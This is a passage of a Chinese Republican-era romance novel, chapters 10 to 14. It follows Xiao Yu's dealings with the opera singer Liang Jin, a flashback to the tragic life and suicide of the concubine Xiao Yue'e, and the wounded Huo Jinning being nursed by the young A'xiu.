霍祥赔笑:“小姐说哪儿的话,少爷在苏州忙着谈生意呢,抽不出身,这不,特意差人给您送来礼物。” 掀开锦盒,里面是一整套红宝石镶钻的西洋珠宝,从项链到耳环,还有一枚鸽子蛋大的红宝石戒指,雍容贵气得不得了。 萧瑜噗嗤一乐:“我一打眼还以为他弄了套唱戏的水钻头面。” 真没新意,年年一套珠宝了事,端得是霍家财大气粗。 “信呢?” 霍祥连忙递上,只见一张纸上就写了四个字:生死未卜。 是霍锦宁笔迹无疑。 萧瑜掂量了两下手中的纸:“你家少爷什么时候能掐会算了?连什么时候生死未卜都知道。” “小姐聪明,一看就明白了!” “他现在在哪里?” “带人去苏州镇子上的缫丝厂考察去了。” “哦?这是把纺织厂交给他打理了?”萧瑜一听就了然,“那么这是碍着谁的事儿了?” 换句话说,这生死未卜是谁干的? 霍祥也不避讳,直言道:“少爷说,是三老爷。” 呵,什么生死未卜,不过是父子俩一处好戏。 既然人家有能耐胸有成竹的写下这四个字,她也就不跟着白操那份心了。 萧瑜不置可否的点了点头:“知道了,有什么风言风语我心里有数,要真有人登门演戏,我陪着唱下去就是。” 虽然生日,萧瑜也没想操办,除了金环和霍锦宁,估计也没人记得。难得清闲一天,本打算去燕子胡同瞧瞧院子收拾的怎么样了,没想到刚要出门,还真有人送来了请帖,邀她至陶然亭小酌一杯,叙叙闲情。 送帖的人是梁瑾。 萧瑜合上帖子沉吟了片刻,笑着起身: “走,去陶然亭。” . 时值春暖花开,阳光明媚,还真是姹紫嫣红,乱煞年光遍,不到园林,怎知春色如许? 陶然亭三面临湖,视野开阔,柳色垂青,微风拂面。 萧瑜远远的就看见梁瑾站在亭外,见她走过来,微微一笑。 好似已等了许久,却丝毫不见厌烦。 萧瑜让霍祥在外侯着,只身走进亭中。 “春光明媚,云老板好雅兴。” “适逢芳辰,略备薄酒,聊表心意,还要多谢二小姐肯赏光。” “云老板怎么知道?” 梁瑾垂眸轻笑,意味深长:“只要有心,就能知道。” 亭中已准备了美酒佳肴,桌上几道小菜,恰好很合她的胃口,只是奇怪正中央一盘主菜,不是什么山珍海味,却是一盘码得齐整的庙会小吃。 萧瑜在桌边坐下,指了指那一盘,问道:“这是何意?” “豌豆黄。”梁瑾给萧瑜斟满了一杯酒,“二小姐见笑了,因为幼时一件小事,这是我这辈子最心爱之物。” 萧瑜失笑,不只为他最爱的东西是这么个孩子气的零嘴儿:“你这年纪轻轻的,怎么张口闭口就是一辈子的事儿?一辈子那么长,谁知道有什么变数等着。” “我认定的事,就是一辈子。” “既说相公痴,可有痴似相公者?” 梁瑾但笑不答,只说:“请——” 萧瑜无奈,举杯和他相碰,两人共饮了一杯。 “对了,你前儿个德月楼那出《黛玉葬花》我看了。” “见着二小姐的花篮了,二小姐以为如何?” “其他不消说,只是黛玉的悲春伤秋似乎少点,总觉得你这是满心欢喜去葬花啊。”萧瑜玩笑道。 不知道是否年纪尚浅,阅历不够,萧瑜觉得梁瑾唱戏,七情六欲不入肺腑,喜怒哀乐只在脸上,总是少了三分味道,若是怀春少女还好,别的苦情坎坷角色就差些了。 “最近我因着私事,神儿不在家,误了戏,实在不该。” 既然说是私事,萧瑜也就没追问,只道:“这倒是可惜了,云老板下回要留神啊。” “我听说最近碧虚郎出事了。”梁瑾忽然说。 萧瑜眼皮也没抬,不冷不热道:“我也听说了一些。” “听说他与白玉兰闹翻,又开罪了司法总长,如今京城戏园子已经没人敢请他来登台。” 萧瑜神态淡定:“哦?不过以他那个小肚鸡肠的性子,得罪了不该得罪的人是早晚的事,也是不凑巧。” 梁瑾若有深意:“二小姐没什么可说的?” “我能说什么呀?”萧瑜不紧不慢的自斟自饮。 如今北京达官显贵时兴捧戏子,每个名角儿 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“没乱里春情难遣,蓦地里怀人幽怨。则为俺生小婵娟,拣名门一例、一例里神仙眷......” 萧瑜手上打着节拍,口中随他轻声哼唱,眼前的身影,依稀间与几年前另一个杜丽娘模糊重合了起来。 只是那个杜丽娘戏唱得不比梁瑾,学来不过为了迎来送往,给恩客取乐。后来被一顶轿子抬进萧府,做了姨娘,没人叫她唱曲儿了,她偏生喜欢自己在花园里唱,闲来无事,还要拉着萧瑜,一字一句教她唱。 那是个傻女人,痴情种。 而萧瑜,不喜欢痴情种。 “......身子困乏了,且自隐几而眠。” 梁瑾悠悠背转过身,这一幕至此便该结束了。 萧瑜抬手,刚要抚掌,却听他接着唱道: “莺逢日暖歌声滑,人遇风情笑口开。一径落花随水入,今朝阮肇到天台。” 他依旧站在原地,却在刹那间周身气度,腔调音色全变了。 萧瑜动作一顿,这是柳梦梅的唱词。 梁瑾慢慢转过身来,此时此刻,他不再面容娇怯,他不再顾盼流转,他不再是含羞带臊的杜丽娘。 他长身玉立,他倜傥潇洒,他眉目深情,他是那敢爱敢恨生死相许的柳书生! 他手持折扇,对萧瑜微微一笑,一顿足一作揖: “小生那一处不寻访小姐来,却在这里!” 众里寻他千百度,墨然回首,那人却在,灯火阑珊处。 在陶然亭春风里,在和平公园细雪中,在广合园水榭里,在泰升戏楼觥筹交错真心假意中。 他一步一步向她走过来,一字一句唱道: “则为你如花美眷,似水流年......” 萧瑜依旧坐在那里,面上淡然,手中的酒杯却不禁捏紧了。 只见他缓缓走来,俯下身子,双眸相对,呼吸相闻,不是什么吐气如兰,是真切炽热的男子气息。 他在她耳边,呢喃低语,带着若有若无的笑意: “咱一片闲情,爱煞你也。” 11. 第 11 章 萧瑜不喜欢痴情种,更不喜欢做痴情种。 可偏生她遇上唱杜丽娘的人,都是痴情种。 萧子显那唯一的妾室,萧珏的亲娘,花名叫小月娥,是个风尘女子。 萧瑜同小月娥的初遇,算起来是笔糊涂账。 萧瑜十三岁初上青楼,十七岁出国留学,这中间几年,少年荒唐,跟着廖季生霍锦宁等人,是八大胡同花街柳巷的常客。 惯常去的那家是春玉楼,那天是五月十五,月亮又圆又大,萧瑜刚进了门,一眼就看见了角落里弹月琴的小月娥。 因为四个女孩子里,一首《点绛唇》只有她弹错了。 她样貌尚可,身材娇小,皮肤白嫩,水眸汪汪。 萧瑜恍然觉得她眉目楚楚可怜的样子,似极了沈月娘。 后来,霍锦宁同她讲,并没有多像,只是他们都是一方水土养育的江南女子罢了。 老鸨在旁不住赔笑,就要让人把那姑娘带下去: “这是头前刚买回来的,才调/教三个月,生嫩的很,几位爷您多担待点。” 萧瑜开口:“不妨事,让她上来伺候吧。” 那姑娘乍得贵人垂青,又羞又喜,红着脸走进包厢,抱着月琴,垂头站在地上,却忍不住抬眼的偷瞄她。 萧瑜问她:“叫什么名字?” “小月娥。” 竟是连名字也相似。 “今年多大了?” “十六。” 萧瑜失笑,见她长得小巧玲珑,没想到已经这么大了。 “会唱江南小调吗?” “奴家会唱扬州小调。” 萧瑜没应声,小月娥生怕她不喜,急忙又补充了一句:“还会唱戏!” “哦?那就来段《牡丹亭》吧。” 她唱的是《懒画眉》,吴侬软语唱着昆山苏白,水磨腔缠缠绵绵,眼儿媚顾盼神飞: “最撩人春色是今天,少甚么低就高来粉画垣,原来春心无处不下悬......” 一曲唱罢,屋里的公子哥都笑了,不是因为唱得好,而是因为图有个形似,神/韵全无。这曲愁苦调子,她偏生唱的眉飞色舞。 小月娥确实学戏不久,那些年因着金花班的缘由,京城里南方来的妓/女十分受欢迎,老鸨见她是江南人这才找人来教她,到时给客人小唱一曲应个景。如今还没出师,便被唤来伺候,不曾经过大场面,还羞怯的紧,唯恐怕被妈妈罚了,无措的站在原地,满脸通红,泫泣欲滴。 萧瑜点的人,旁人不敢多嘴,她也没为难,只笑道:“牡丹不及美人妆,又不是西宫秋怨,不懂相思,是件幸事。” 就这么为她解了围。 一片哄笑声中,众人也不放在心中,却少不得称一声“萧二少”怜香惜玉。 她悄悄退下,临出门时不忘回头悄悄打量那唤作“萧二少”的少年,俏脸微红,心中春水微澜。 那年她也十六岁,高挑纤瘦少年郎,一身白衣长衫,手里把玩着竹骨绢面折扇,短发拿头油梳到后面,露出光洁额头,俊秀眉目,嘴角戳着一抹似笑非笑,与一众公子哥吟诗作对,把酒寻欢。 楼子里谁不知道她是萧家二小姐女扮男装,可她相貌好,脾气好,出手阔绰,个个都愿意陪她虚鸾假凤的胡闹。 只有小月娥一个,初来乍到的,不知道。 . 那年年底,萧子显外出赴宴时,看上了个青楼女子。 以她身份,本不能进萧家,可萧子显素来是萧老太爷最宠爱的小儿子,这些年躺在床上抽大烟,委实没个正形,难得开口要人,老太爷就破天荒的允了。 腊月二十三小年那天,小月娥被一顶花轿从偏门抬进了萧家。 当晚她坐在喜房里,却左等右等也没人来。 终于等到三更天,一个身影推门走进房中,也不上前,只靠在门边,人还未近,酒气冲天。小月娥抬头,光线半明半暗,刚想唤“老爷”,定睛一看,心头狂跳,原来却是那年春玉楼的倜傥少年。 “二小姐......” 她早就知道她的身份了。 初时不知,藏着心思,后来被楼里的姐妹笑话了,这才知道。 萧瑜一身酒气,白衬衫领口解了两颗,露出纤细清瘦的锁骨,白玉般雪肤上晕着片片桃花殷虹。 她微抬下颌,醉眼迷离的看了她半晌,漫不经心一笑,无端轻佻: “我道是谁呢,刀山火海的也敢往萧家跳,原来是你。” 那时银钏刚死不久,她满心怨恨,而今见了小月娥,依稀明白了什么,故而更觉荒唐。 可她不能把气撒在这个女人身上。 爱慕虚荣也好,身不由己也罢,萧家这火坑,她终究是跳进来了,没人能救她。 于是颇有些意兴阑珊的转身离开: “他今晚喝高了,不会再来,洗洗早些睡吧。” . 小月娥刚刚嫁进来那段日子,出乎所有人意料的平静。 花街柳巷是吃人的地方,风尘里打过滚的个个都是人精,短短半年,小月娥早就不是那个初来乍到,唯唯诺诺的小姑娘了。她嫁进萧府之前就成了春玉楼的红牌,她能将听过几次的戏曲学的形似,就能将窑子里所有姑娘该有的手段都学去。 许是因为她知情识趣善解人意,许是因为她能烧得一手好鸦片,又或许仅仅是因为她是个江南女子,萧子显对她颇为宠爱,很是消停了一段日子。 往常大概一两个月,从萧子显的房里就能抬出一个血肉模糊的丫鬟,那段时间居然一个也没有,小月娥甚至很快有了身孕。 那年盛夏,萧瑜闲来无事提溜着廖季生送的八哥在花园里闲逛,转过假山石洞,便听见荷花池边传来咿咿呀呀的唱腔。 整个萧府,满打满算,就那一人会唱这《牡丹亭》,走近一看,果然是小月娥。 她可以对春玉楼的小月娥心存怜意,但她对萧子显和他房里的人向来眼不见为净,没兴趣照面,刚想转身离开,却不想小月娥起身叫住了她。 “二小姐,那里日头晒着,不如来这边水榭阴凉处坐一坐?” 她怀了四个月的身孕,不见腰身,却圆润了不少,紫罗兰色绣花的袄裙,梳了个元宝髻,瞧着温婉娴静,好似个良家女子。 萧瑜迈步走了过去,在边上一张躺椅上坐下,姿态随意,不冷不淡唤了声:“月姨娘。” “二小姐怎么这样生分,我算哪门子姨娘?你叫我月娥就好。”她抿嘴一笑。 这一笑可是漏了底, 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许久没有搭理宅子里的那群女人了,差点忘了她们的手段,这些年风平浪静了一阵,不过是看萧子显确实颓废,没有威胁,而她是个女孩子,终究是要姓霍的。如今来的新的姨娘,肚子里又怀了孩子,自然是不一样了。 小月娥低头温柔的抚摸着自己还不曾隆起的小腹,低声道: “二小姐,其实做学舌的八哥也好,谁的替身也好,月娥从无怨言。我清楚自己是什么身份,进来萧府已经是最好的结局,旁人羡慕都羡慕不来,我只想好好伺候老爷小姐,不想争什么,也不想抢什么。可我如今有了孩子,将为人母,我不能让他们害了我未出世的孩子。我死不足惜,可这是老爷的骨肉啊!” 萧瑜轻笑了一声,她算是明白这女人平白无故的示好是为什么了,她在萧府无依无靠,连个娘家也没有,斗不过那些个心狠手辣的人精,病急乱投医到她这里来了。 “你凭什么以为我会愿意多一个庶出的弟妹?萧子显的骨肉与我何干?” 她直言父亲名讳,让小月娥一愣,但她很快回过神来,幽幽道: “因为,二小姐......曾是月娥的恩客,还望您能念几分旧情。” 萧瑜差点被她这句话呛到,瞪了她一眼。 小月娥嫣然一笑,得逞一般,继而正容道: “这宅子里的人,有一个算一个,都像这笼子里的八哥,将来终究要烂死在这里,我也一样。但二小姐,你不同,你会离开这里,你会展翅高飞,你会去到我想也想象不出的地方去。二小姐,你和我们全都不一样。” 不愧是春玉楼的红牌,善解人心到这种地步,她未必真的高瞻远瞩能看到萧瑜的未来,但她却真的知道萧瑜爱听什么。 “好,我让你安稳生下这个孩子,但有一点——” 萧瑜站起身子,抖了抖手中笼子,那八哥就不停的叫唤: “月娥!月娥!” “你以后别冲我这么笑,看着心烦。” 她受不了有人顶着这样一张神似沈月娘的面孔,做如此谄媚之态。 12. 第 12 章 可是萧瑜料错了,小月娥一点也不怕她。这个女子除了身量容貌,性子半点也不似个温婉的江南女子。 “其实我娘是巴蜀人,后来辗转到扬州,遇见我爹,生了我。后来他们死了,我被二伯卖进青楼做小琵琶,还没等挂牌,遇上京城来人挑人,我就跟着来了京城。” “为什么来京城?” “京城达官贵人多,出头的机会也多。”她笑着说,“命既如此,总要自己给自己找出路。” 小月娥说这话时正吃着第二碗酸辣鱼片,辣得两颊通红,鼻尖冒汗。 府里新来了个川菜师傅,饭做得红艳艳的,萧瑜口味清淡,吃不惯,此时看她吃得津津有味,很是不解, “不过是疼麻了嘴巴,有什么吃头?” 小月娥不住的笑:“谁知道,可就是离不开。以前我娘亲每顿饭都无辣不欢,我也是,可后来在春玉楼里不让吃辣,怕有异味不雅,好久没吃得这么爽利了。” “人家说酸儿辣女,你怀的莫不是龙凤胎?” 小月娥一愣,低头摸了摸凸起不小的肚子,温柔一笑: “这也是有可能。” “那也少吃点,这玩意伤嗓子。” “不妨事,二小姐不知道,川妹子都是吃得越辣,嗓子越甜,我就是天天吃辣子,也能给你唱曲儿听。” 萧瑜嗤笑:“你那两把刷子,可别拿出来献丑了。” 小月娥也不恼,只不紧不慢说: “知道二小姐爱听戏,我这点功夫还入不了二小姐眼,我也日日练着,可惜孤掌难鸣,没人与我对戏,起转承合,总是差些意思。” “听你这意思,是还想让我从外面给你找个人对戏?” “哪还用这么麻烦,这不是有现成白衣书生?”小月娥嫣然一笑,媚眼如丝,“二小姐可愿和我学一学唱这《牡丹亭》?” 萧瑜只觉得她异想天开:“你以为我是那只秃尾巴的八哥?” 自从那只八哥开口学了话,小月娥就对它格外喜欢,整日里逗弄着它,教它学舌,只是这八哥笨得很,至今也没学会第二句。 小月娥依旧乐此不疲,每天不是喂八哥,就是在萧瑜面前唱戏,一字一句,细嘴白牙,非要教会她不可。 弄得萧瑜不胜其烦,三天两头的出去躲清静。 “二小姐最喜欢《牡丹亭》哪一出?” “自然是游园惊梦。” “我却不同,我最喜欢《闺塾》,最爱那句关关雎鸠,在河之洲,窈窕淑女,君子好逑。我觉得自己也跟杜丽娘似的,被这句话点通了。” “那是《诗经》里的句子,借此抒情而已。”萧瑜失笑,“你哪里像杜丽娘,倒是像个丫头春香。” 也不知平日里在萧子显跟前伺候着,是不是也这么没轻没重。 “也成,赶明儿我要是生个女儿,小字就叫/春香怎么样?” 萧瑜揶揄,“怎么,不想生个儿子?” 人说母凭子贵,她是这院里唯一的姨娘,一旦生下儿子,地位就彻底牢固了。 “不想。”小月娥摇头,“我不想成为太多人的眼中钉肉中刺,我希望我的孩子是个女儿,能平平安安的在这里长大,以后找个老实人家嫁了,一辈子安安稳稳。” 这是这年月,绝大多数女子的心愿。 萧瑜却是不置可否,将余生寄托在旁人身上,就已是难求安稳了。 . 世事无常,总是不尽如人意,那年冬月,小月娥生产,竟然真是一对龙凤胎。 产妇难产,老太爷发话,力保男孩,最后那个女孩终究是没留下,小月娥也折腾去了半条命。 男孩被取名萧珏,虽是庶出,但是萧子显唯一的儿子,甚得老太爷宠爱,满月酒办的风风光光,府里张灯结彩。 生下孩子后,小月娥身体一直不好,病殃殃的,好像一夜之间失了原来的精气神儿,少女的鲜嫩活泼全没了。 萧瑜去看过她几次,只见她经常拿着原来给女儿缝的小衣小鞋发呆,知道她自己心里过不去这个坎儿。 然而萧瑜有心无力,而且彼时她也无暇顾他。 那一年,霍老爷子做主,送霍锦宁去国外留学,他希望萧瑜也跟着同去,一切事宜由霍家安排。霍熙怀一直都很满意这个未来孙媳妇,觉得她有胆识,有见地,不是一般的闺阁女子,不想让她困在萧家宅子里。 萧家守旧,本来是不可能同意未过门的女儿随别家漂洋过海去上学,然而那时候时局动荡,萧老太爷被政敌构陷,辞官在家,很迫切的想和霍家结这门亲事,觉得霍锦宁要是这样只身留洋,回来八成会退亲的。 于是那年开春,霍锦宁和萧瑜就订了婚,准备一同出国。 订婚宴那天晚上,小月娥来找她,红肿着一双眼睛。 “你要走了?” 萧瑜见她神色有些不对,“你怎么了?” 小月娥不回答,只是自顾自说: “是啊,你要做霍家二少奶奶了,去那个叫什么美利坚,还是什么坚的地方。听说那里好远好远,光坐船就要一个多月,听说那里遍地都是金发碧眼的洋鬼子,说话叽里呱啦的,听说那里晚上成宿成宿的亮着灯,跟不夜城似的……” “你到底想说什么?” “好多人去了就不回来了,你也不会回来了吧?就算回来也是三五十年后了,那时候八哥叫我月娥时,我还能答应吗?” 萧瑜叹了口气,转身进了屋: “那只鸟你要是喜欢,连笼子一块儿给你了。” “给我干什么?时时刻刻提醒着我就是那只笼中鸟吗?” 小月娥在身后喊着,她突然扑过来抱住她,哭着说: “二小姐,求您带我一块儿走吧!你别展翅高飞飞远了,留我一个人在这院子里烂死了…” 萧瑜只能扶着她,无奈道:“你不是早就知道嘛。” 刚一搭上她的手臂,就见她像针扎了一样抖了两下,她想要挣开,却被萧瑜一把拉住手腕。 掀起袖子,只见上面青紫瘀痕交错,还有不少烟枪烫伤,新旧交叠。 “谁干的?”萧瑜面色冷了下来,“萧子显?” 萧子显并不很在意新得的儿子,小月娥因为失了那份江南少女的灵气,终于失了宠,只是萧瑜没想到,这么快他又固态萌发。 小月娥收回手臂,惨淡一笑: “用不上三年五载,也许明天后天你就见不着我了。” 可是萧瑜又能如何呢?美利坚之远,远得她也前路渺茫,多一个 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“但我记得。”她笑了笑:“你说,牡丹不及美人妆,又不是西宫秋怨,不懂相思,是件幸事。” “可月娥,终究没这份幸运。” 当天晚上,小月娥吞金自尽。 萧子显整日里醉生梦死,糊涂得不成样子,隔日醒来后,烟瘾犯了,要找小月娥给他烧□□。 下人小心翼翼回道:“爷,月姨娘昨天被抓见和阿忠私通,关进柴房了。” 萧子显愣了片刻,摆摆手:“先让她来伺候吧。” 下人更加胆战心惊,颤声道:“爷,月姨娘昨晚吞金自尽,已经去了......” 萧子显这次沉默的久了点,半晌淡淡撂下一句:“那就葬了吧。” 从此这院里就像从来没有过一个月姨娘。 都说物似主人型,小月娥走后,那八哥不吃不喝,没几天也跟着去了。 它直到死时,也只会说两句话。 一句是“月娥”,一句是“二小姐”。 ——我道是谁呢,刀山火海的也敢往萧家跳,原来是你。 ——刀山火海也敢往里跳,因为我想日日见着你啊。 萧瑜六岁刚被绞了头发时,很不习惯,整天窝在房中,用被子裹着头,不肯出去。 霍锦宁来看她,带了她喜欢吃的西式蛋挞。 她坐在床边,裹着被子,手中托着蛋挞酥皮,小口小口的吃着,一边吃,一边含糊的问: “二哥哥,究竟什么是命犯桃花?” “星宿神煞,红鸾星动。”霍锦宁不过八岁,也只是知道个懵懵懂懂,“大抵就是,姻缘太旺。” “这不是好事吗?” “有些是好事,有些不是好事,只怕你伤人伤己。” 萧瑜苦思冥想了一阵,下定决心道:“那我就不伤人,也不伤已,就算伤了人,我也不伤己。” 情之一字,害人不浅,她敬谢不敏,不想沾染。 风月情浓,不过逢场作戏,我无真心,自然不惹尘泥。 13. 第 13 章 鸡鸣长啼,犬吠阵阵,遥远的像从梦里传来。 霍锦宁只觉得浑身酸软,头昏脑涨,勉强睁开眼睛,缓了一会儿,才看清屋中模样,思绪慢慢回笼,他想起了自己此时究竟身在何处。 窗外隐隐晨光,天快亮了。 桌上的蜡烛燃尽,微弱火光将灭未灭,小姑娘趴在桌子上,枕着一本书悄悄睡着,瘦弱的肩膀轻轻一起一伏,就像一只毛绒柔软的幼兽。 他眯起眼睛出神看了一会儿,脑中空白,有些忘记自己该做什么,视线渐渐模糊,似乎又要睡去了。 阿绣像往常一样悠悠转醒,才发现自己居然又趴在桌子上睡了一夜。 小声吸着气,揉了揉发麻的手臂,一抬头,发现床上的男人正目光迷离的望着她,不禁心头一跳,下意识跳下凳子,后退了好几步,把自己藏在柱子后面的阴影里,不敢抬头看他。 和受了惊的小猫小狗一模一样。 凳子被她慌慌张张的带倒,摔在地上哐当一声。 屋子里尴尬的沉默了片刻,霍锦宁无声的笑了起来,有些虚弱。 他开口,声音嘶哑无力, “昨晚处理伤口都不怕,今天又不敢和我说话了,嗯?” “不是昨晚。” 阿绣有些迟疑,怯生生道:“不是昨晚,你昏睡三天三夜了。” 霍锦宁了然,又有些奇怪:“你家中没旁人?” 阿绣摇了摇头:“只有我在家。” 凤姑伤了手,不能梳头,她又孤掌难鸣,故而这几天主顾那里都辞了假,而凤姑一直没回来,只托人来家里告诉她,说出门去走亲戚,把她一个人留在了家。 霍锦宁点头,刚开口想说什么,却忍不住低声咳了几下,这一咳就牵扯到了伤口,他脸色一白,疼得撕心裂肺。 阿绣犹豫着,从柱子后面磨蹭出来,拿起桌上倒扣的茶杯倒了杯水,走到床边,扶起霍锦宁,把枕头立起来垫在他身后,小心的喂他喝了水。 霍锦宁早就口干舌燥,清水入口,滋润肺腑,说不出的甘甜愉悦。 一只冰凉的小手试探着在他额头上轻碰了一下,像一片羽毛般轻盈,然后迅速的收了回去。 “烧退了。” 阿绣松了一口气,他烧了整整两天,断断续续,她用尽办法,吓得快要哭了。 霍锦宁闻见自己身上的浓郁味道,疑惑道:“你用擦酒为我退烧的?” 阿绣一僵,不期然的想起那晚烛光下所见的年轻男子精壮的身体来...... 她腾地站起身,结结巴巴的说: “我、我去做饭——” 逃也似的跑到了厨房,关上门,将滚烫的脸贴在冰凉的门板上,阿绣缓缓蹲下身子。 阿绣啊阿绣,你真是个不知羞的小娘鱼! 念着霍锦宁昏迷刚醒,阿绣只挑好克化的吃食,熬了一锅浓稠的小米粥,又蒸了一笼糯米糕,放在漆木托盘上,端进屋里。 霍锦宁伤在右肩,抬手不便,阿绣小声说: “我喂你。” 说着用白瓷小勺舀了一勺金黄的粥,就要往他嘴里送。 霍锦宁失笑:“小姑娘,你不看着点,恐怕这碗粥都会叫你喂到我脖领子里。” 阿绣鼓起勇气,抬起头,克制住手臂的颤抖,缓慢的把粥喂给他,迎着他近在咫尺的幽深目光,一颗心几乎要跳出来。 虽然这几日她几乎是贴身照料,可这样直面他清醒的模样,却还是第一次。 霍锦宁看出小姑娘的不自在,随口问道:“你叫什么名字?” “......阿绣,方阿绣。” “可有十五岁?” “上个月刚满十四。” 霍锦宁心中一哂,果然还是个孩子。 “你认识我吗?” 阿绣手中一抖,勺子里的粥就洒出来几滴,她慌慌张张的放下碗,拿出怀里的手帕擦了擦,低着头,细声细气说: “我只是听人说,你是从上海来的霍少爷,那天你在长寿桥边,买了我的花......” 霍锦宁点头,将自己衬衫左右袖口上了两枚蓝宝石袖口解下来,递给她: “这几天麻烦你了,我如今不方便出去,可能还要在这里养几天伤。” 他不是没有安排,只是做戏做到底,现在阴差阳错能藏身这里,似乎是更好的选择。 阿绣连忙推拒:“不,我不要,我知道有歹人要害你,你放心,我不说出去......” “你怎么知道有歹人要害我?” “因为,因为......”阿绣垂下头,小小声说:“因为,你是好人,伤你的人一定是歹人......” 这话说得幼稚极了,委实是个单纯的小孩子。 不经意瞥见她低垂着头,黑发绑成辫子,露出尖尖的耳朵,白得透光,小小耳垂上一点点耳洞,什么也没戴。 他把袖扣塞进她的手里,笑道:“不是什么贵重东西,成色尚可,回头找工匠改成对儿耳坠子你带着玩吧。” 阿绣摊开手,只见两颗蓝色的宝石躺在她瘦小的手上,精致的切割工艺,让宝石折射出剔透的光,比何太太那条宝贝的西洋项链上的宝石光泽还要美。 她轻轻的合手握住,好像握着两颗璀璨的星星,又好像是两颗晶莹的糖,凉凉的,甜甜的。 吃过饭,换完伤药,阿绣收拾着东西,霍锦宁看见那本桌上放着的旧书,伸手拿了过来。 书皮已经略旧,封面上写着《红楼梦》,却是很薄的一本,随手一翻,只有前三十回。纸张软踏踏的,显然有些年头了。 阿绣一惊,好像被发现了心底的隐秘一样:“那个......” 这是她最宝贝的一本书,从小看到大,一字一句倒背如流。这几天她日夜照顾他,不敢合眼,困极了,便又把书拿出来翻了一遍。 豆蔻之年,还不懂什么男女之情,对情生意动的所有念想,不过是那一句,这个妹妹我曾见过。 “你识字?” 阿绣轻轻嗯了一声,手指不自觉揪着衣角,揪来揪去的:“没有正经念过书,是跟人学的。以前隔壁住了个教书先生,姓范,我央他,他就教我了,这本书也是他送我的。” “教了多久?” “三个月。” “上面的字你都认识?” 阿绣点点头,又有点不好意思:“但是不大能看懂。” 霍锦宁笑了笑:“这是残本,况且你年纪小,读起来也艰涩些,没请教那位范先生吗?” “范先生离开笙溪好些年了。”阿绣说,“听说他是以前的秀才,但没去做官,跑去和人闹革命, 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可惜生在穷苦人家,没机会读书。 “你想上学吗?”霍锦宁忽然问。 阿绣眼睛一亮,而后又慢慢黯淡下来了,低低道: “想也没用。” 笙溪镇上的女孩子从来都不上学堂,很多连字也不识一个,她要是读书会很奇怪的,会让周围的阿婆阿公都指指点点的。 霍锦宁自然明白她心中所想,轻轻摸了摸她低垂的小脑袋,没有说话。 炽热的温度透过发丝头皮传来,阿绣再一次羞红了脸,但她心中有别个事,她咬了咬唇,鼓起勇气问道: “我,其实不太懂,范先生有学识,也有见地,为什么要去参军?” 为什么抛下青梅竹马的未婚妻?为什么去选择一条生死未卜的路?是为名,还是为利? 她读书不多,但经常听镇上茶楼里评书演义,也知道历史上朝代更替,今天赵家坐天下,明天李家坐天下,谁当皇帝有什么打紧?反正日头还是要一样的升,河水还是要一样的流,老百姓的日子还是一样的过。 这话她憋在心里好久了,不敢问谁,也不知道该问谁,自从范先生走后,在凤姑面前,她连这个名字都不敢提。 眼前这个人是上海的富家少爷,通身贵气,西洋做派,和小镇上的人都是顶不同的,他一定见多识广,他会不会知道呢? 霍锦宁沉默了很久,他看着小姑娘水汪汪的眼睛瞧着他,这是一双江南水土滋润出来的眼睛,就像白水银里养着两丸黑水银,她见风吹,见花落,见水流,见云起,就如同这小镇一样,依山傍水,幸而又幸的在这乱世偷得浮生片刻。 不知外间战火纷飞,动荡不堪。 他轻轻叹了口气,低声道: “因为他想让千千万万个小阿绣都有书念。” 民国三年,袁总统复辟登基,蔡将军在云南宣布独立,护国战役轰轰烈烈打了两年,无数热血青年舍生忘死,把年轻的生命献给了民族未来。 这世上还有许许多多抛家舍业的范先生,许许多多与爱人生离死别的凤姑,许许多多想上学却不能上学的阿绣。 他们需要一个太平盛世,他们需要一个强大而自由的新中国。 14. 第 14 章 “姐姐!姐姐!今天先生的测验,我得了一百分!” 萧珏高兴的把试卷拿给萧瑜。 萧瑜接过扫了一眼,笑道:“还成,想要什么礼物?” 萧珏小脸涨红,小声说:“姐姐,你上次说要带我出去玩的......” “还记得呢?好,我言出必行,让金环给你换套衣服,我悄悄带你们俩个出去玩。” “姐姐万岁!” 萧珏乐的不停拍手,他今年七岁,走出这个小院子的次数屈指可数,他对外面的世界好奇的不得了。 “小姐?”金环有些迟疑,也有些激动。 小少爷被关在这个锦屏苑多久,她就陪了多久,她都快要忘了外面是什么样的了。 可她还是有些担心,怕老太爷怪罪。 “没事儿。”萧瑜示意她安心。 自从她和霍锦宁从国外回来,全家都在等着她嫁进沪上霍家,谁敢惹她?而最近政坛局势又变,萧老太爷每天几乎快搬到府衙住了,哪有闲情管家里这些事,也许他早就忘了锦屏苑里还有这么一个孙儿。 “霍祥,备车,我们出去。” 霍祥有点为难:“小姐,那听您的意思,咱们是从后门走?” 闻言,萧瑜脸上笑容淡了几分:“他还等在那里?” “是啊,云老板已经在后门等您七天了,天不亮就来,入夜了才走,不见到您誓不摆休。好歹是没杵在前门,这要是让别人看见了,可不成样子。” 萧瑜失笑:“他这是跑这儿来点卯了?” 那天陶然亭,梁瑾反串了一曲《山桃红》,端得是情意绵绵。然而萧瑜丝毫不为所动,客客气气的起身告了辞。 然后萧瑜就再没上戏楼听过戏,也没再见过梁瑾,再后来他就每天来萧府后门等着。 “也罢,那就见一面吧,把话说清楚。对了,霍祥,把我昨儿个让你卖的那盏八角琉璃宫灯拎着。” “好勒——” 萧瑜换了一身黑白骑马装,领着萧珏出了门,果然见门外梁瑾还站在那里。 他穿了身洗得发白的蓝布衫子,脸色苍白,脸颊肉眼可见的消瘦了不少,衬得那双凤目幽深执拗。 他看见萧瑜,眼前一亮,他从怀中拿出一方雪白的手帕,上前一步: “二小姐......” 萧瑜抬手制止了他,伸手接过霍祥手里的宫灯,拍了拍萧珏的头:“和金环姐姐先上车。” 然后她示意梁瑾跟他走到一边,没等他开口,先将宫灯递给了他: “云老板,那天一盏牡丹纸灯,云老板有心了,今日薄礼回赠,还望不要嫌弃。” 梁瑾垂眸看了一眼那盏精美的琉璃灯,没有接,他睫毛颤了颤,捏紧了手中的帕子,轻声说: “二小姐这是打算与我恩断义绝吗?” “云老板说笑了,本就无甚恩义,何来断绝一说?” 梁瑾使劲抿了抿唇,切切道:“二小姐是在下知音。” 萧瑜无奈失笑:“云老板也是明白人,不过风月场上逢场作戏,你怎么也当了真?” 梁瑾脸色一白,却仍是固执的望向她,一字一顿道: “我认定的事,就是一辈子。” 话已至此,萧瑜有些失了耐心,脸上笑意转冷, “云老板,你当我是孝子还是凯子?捧过戏子不过图一乐呵,你要想找靠山真的找错了人。满城皆知,我早许了人家。” “你当我是什么人?”梁瑾眼眶发红,“我不求,我什么也不求。” “那就更不行了,过去年少荒唐也就罢了,如今你让霍家二少爷的脸面往哪放?” “我对你——” “好了,你不要再来了。” 